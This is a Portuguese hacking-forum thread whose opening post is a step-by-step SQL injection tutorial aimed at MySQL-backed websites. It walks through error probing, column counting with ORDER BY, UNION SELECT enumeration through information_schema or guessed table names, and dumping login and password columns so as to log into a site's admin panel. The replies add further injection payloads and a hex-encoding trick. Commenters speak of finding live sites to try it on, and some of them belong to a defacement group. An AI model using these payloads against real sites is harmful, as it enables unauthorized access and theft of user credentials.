Unconfigured Ad Widget

Collapse

Anúncio

Collapse
No announcement yet.

SQLi

Collapse
X
 
  • Filter
  • Tempo
  • Show
Clear All
new posts

  • Font Size
    #1

    Tutorial SQLi



    Por Twi John

    Primeiramente quero mostrar para vocês um site onde vocês poderam encontrar mais sobre novas vulnerabilidades, como se proteger de vulnerabilidades da web.

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

    Nessa aula estremos aprendendo SQLi, no entanto dessa vez estaremos consultado o database Mysql para obter informações de login e senha.

    Aqui esta o site: Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

    Para descobrir se pode estar vulneravel, coloque ' depois do link, caso dei algum erro tem grande chance de estar vulneravel.

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...'

    Um exemplo de erro: Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/site/public_html/noticias/index.php on line 282

    Essa falha é baseada em erros.

    Vamos pegar o numero de colunas usando ORDER BY *
    É usado dessa maneira:

    +order+by+1 //Sem erro
    +order+by+2 //Sem erro
    +order+by+3 //Sem erro
    +order+by+4 //Sem erro
    +order+by+5 //Sem erro
    +order+by+6 //Erro

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

    Então são apenas 5 colunas

    Vamos uni-las, usando UNION ALL SELECT *

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

    Coloque um traço (-) antes do valor da variavel ficando assim:

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

    Irão aparecer numeros, eles que nóis iremos subtituir por informações:

    Precisamos encontrar a tabela do login agora, podemos usar Brute Force, ou então information_schema. O information_schema só funciona em databases MYSQL acima de versão acima de 5.0, para descobrir a versão use: version()

    +union+all+select+1,version(),3

    //--Brute Force--\\

    Vamos tentar colocar tabelas até que não apareça erro:

    UNION ALL SELECT * FROM ADMIN == erro
    "" "" "" "" LOGIN == erro
    "" "" "" "" USER == erro
    "" "" "" "" USERS == erro
    "" "" "" "" USUARIOS == sem erro

    Então no caso ficaria assim: Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
    Você pode usar: admin, admins, usuarios, usuario, user, users, user_name, username, login, adm, tb_usuarios, tb_admin ... entre outros.

    //--INFORMATION_SCHEMA--\\

    DATABASE: INFORMATION_SCHEMA
    TABELA: TABLES
    COLUNA: TABLE_NAME

    Sintaxe = Exemplo: UNION ALL SELECT 1,TABLE_NAME,3 FROM INFORMATION_SCHEMA.TABLES

    Para ir passando de tabela você usa LIMIT *

    LIMIT 1,1
    LIMIT 2,1
    LIMIT 3,1
    LIMIT 4,1
    LIMIT 5,1
    ... E assim vai indo até encontrar uma tabela de login.

    Ex: Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

    //

    Vamos agora descobrir as colunas de login, você pode usar as mesmas tecnicas de brute force e information_schema, no entanto information_schema é um pouco diferente:

    DATABASE: INFORMATION_SCHEMA
    TABELLA: COLUMNS
    COLUNA: COLUMN_NAME

    Sintaxe = Exemplo: UNION ALL SELECT 1,COLUMN_NAME,3 FROM INFORMATION_SCHEMA.COLUMNS

    Para passar de coluna pode usar o LIMIT também.

    //

    Agora continuando suponhamos que eu tenha pegado a tabela USUARIOS e as colunas LOGIN e SENHA, para pegar as informações de login e senha é so digitar eles no seu site, nos numeros visiveis, suponhamos que tenha parecido o 2 e 3 então vamos substituir eles pela informação:

    UNION ALL SELECT 1,LOGIN,SENHA,3,4,5 FROM USUARIOS

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

    Agora é só encontrar a area de login, geralmente fica em /admin , /adm/ , /administrator /login.php , ou você pode usar o acunetix ou algum outro tool para encontrar a area de login.
    Ao encontra-la é só você se logar com as informações que você pegou
    Last edited by 5ubzer0; 08-12-2009, 13:03.

  • Font Size
    #2
    muito bom, gostei =P
    vou da uma pesquisada aqui no google de sites para testar seu tutorial.

    abraçao twi e gostei mesmo do seu tuto.




    "Antes de conseguir você tem que acreditar."

    Comment


    • Font Size
      #3
      Legal mano,bem explicado.vlw

      Comment


      • Font Size
        #4
        o tutorial ta bom , mas você quiz "ECONOMIZAR PALAVRAS" resumir tudo de uma vez , mas o tutorial nao ensina , ele da uma continuidade a quem ja sabe um pouco , ele ajuda aquelas pessoas que sabem os nomes das tabelas , mas nao sabem colocar a sintaxe em ordem na hora de ownar !

        tipo , union select 1,2,@@version,4,5,6 apos isso o que ela faz ? me esqueci :S
        seria ? union select 1,2,3,4,5 from information_schema ?

        ah pessoas que nao se lembram ! uhauhauha ... eu sempre me esqueço :S mas lembro depois d eum tempo pensando!

        bom tudo flw

        =-3732 union select 1,table_name,3,4,5 from information_schema.tables limit 1,1--
        Last edited by H4ck3r4lp; 06-03-2010, 23:36.
        Nao Participa ainda ?
        * Comunidade Elite Defacer


        Elite Defacer
        Hackeralp - 5ubZer0 - $cr34m()

        Comment


        • Font Size
          #5
          nao precisa mostrar pra todo mundo que sabe ...emo

          Comment


          • Font Size
            #6
            Tá , desculpe :S .... nao era minha intenção ...
            Nao Participa ainda ?
            * Comunidade Elite Defacer


            Elite Defacer
            Hackeralp - 5ubZer0 - $cr34m()

            Comment


            • Font Size
              #7
              Bem explicado cara muito bom

              a parte de DATABASE: INFORMATION_SCHEMA
              TABELLA: COLUMNS
              COLUNA: COLUMN_NAME

              tava com uma dificuldade de aprende

              vlw pelo tuto !

              Gostou do meu Post? seja educado peça


              Msn: andersondex@hotmail.com
              Skype: dex.oficial

              Comment


              • Font Size
                #8
                Muito bom Twi, mas o Titulo não deveria ser Tutorial Sqli com Information Schema?
                Mesmo assim, muito obrigado por compartilhar.

                Abraços.
                Mesmo longe, eu estou perto. Guia do Hacker 4ever.

                Comment


                • Font Size
                  #9
                  [Lck]: Nada cara, é sempre bom saber a opnião verdadeira dos outros.

                  [#Expl0it]: Preferi incluir tudo em um só nome 8>D

                  Comment


                  • Font Size
                    #10
                    To afim de fazer um mais claro , com o comando group_concat ...

                    Em vez de ficar chutando tabela , tu vizualiza todas tabelas de uma vez , assim vendo se é usuario ou admin !

                    abraço!
                    Nao Participa ainda ?
                    * Comunidade Elite Defacer


                    Elite Defacer
                    Hackeralp - 5ubZer0 - $cr34m()

                    Comment


                    • Font Size
                      #11
                      Faz vai ser bem util para o pessoal.

                      Comment


                      • Font Size
                        #12
                        muito bom Twi !! comheço essa falha ai !! Gostaria só de complementar uma coisa:
                        Na parte do information_schema, vc pode fazer assim para que o site vull mostre apenas as tabelas do site,assim não confunde o invasor:

                        Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

                        com isso ele mostra apenas tabelas do site, e não todas q possui no DB, até pq vem algumas no MYsql quando vc instala,pq são as de configuração. mas.. e agora? eu axei a tablea usuario !!
                        eu vou tentar axar a coluna!! pode ser !!! mas... se não for as que vc pensar ?!
                        por exemplo::
                        na tablela usuario as colunas de login e senha são::
                        password e user !!
                        como eu descubro ?!
                        Simples::

                        Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

                        mas.... q P#### foi q vc fez ai ?!
                        simples ?!
                        eu converti o nome usuario em HEXADECIMAL !!!
                        ai ele mostra todas as colunas da tabela usurio..
                        ai dp só vc fazer a festa !!!
                        sigpic

                        Campanha Anti-Ripper: Você não gosta de rippers ("ladrões de coteúdo")? Use essa userbar e faça o seu protesto.

                        Comment


                        • Font Size
                          #13
                          hauahuaa
                          o que eu falei foi quase isso ...

                          Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

                          aew apararece as tabelas .. entre elas pode aparecer usuario , admin etc !

                          abraço !
                          Nao Participa ainda ?
                          * Comunidade Elite Defacer


                          Elite Defacer
                          Hackeralp - 5ubZer0 - $cr34m()

                          Comment


                          • Font Size
                            #14
                            Mostrando link .....

                            Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
                            Nao Participa ainda ?
                            * Comunidade Elite Defacer


                            Elite Defacer
                            Hackeralp - 5ubZer0 - $cr34m()

                            Comment


                            • Font Size
                              #15
                              isso funciona com kualker site?

                              Comment

                              X
                              Working...
                              X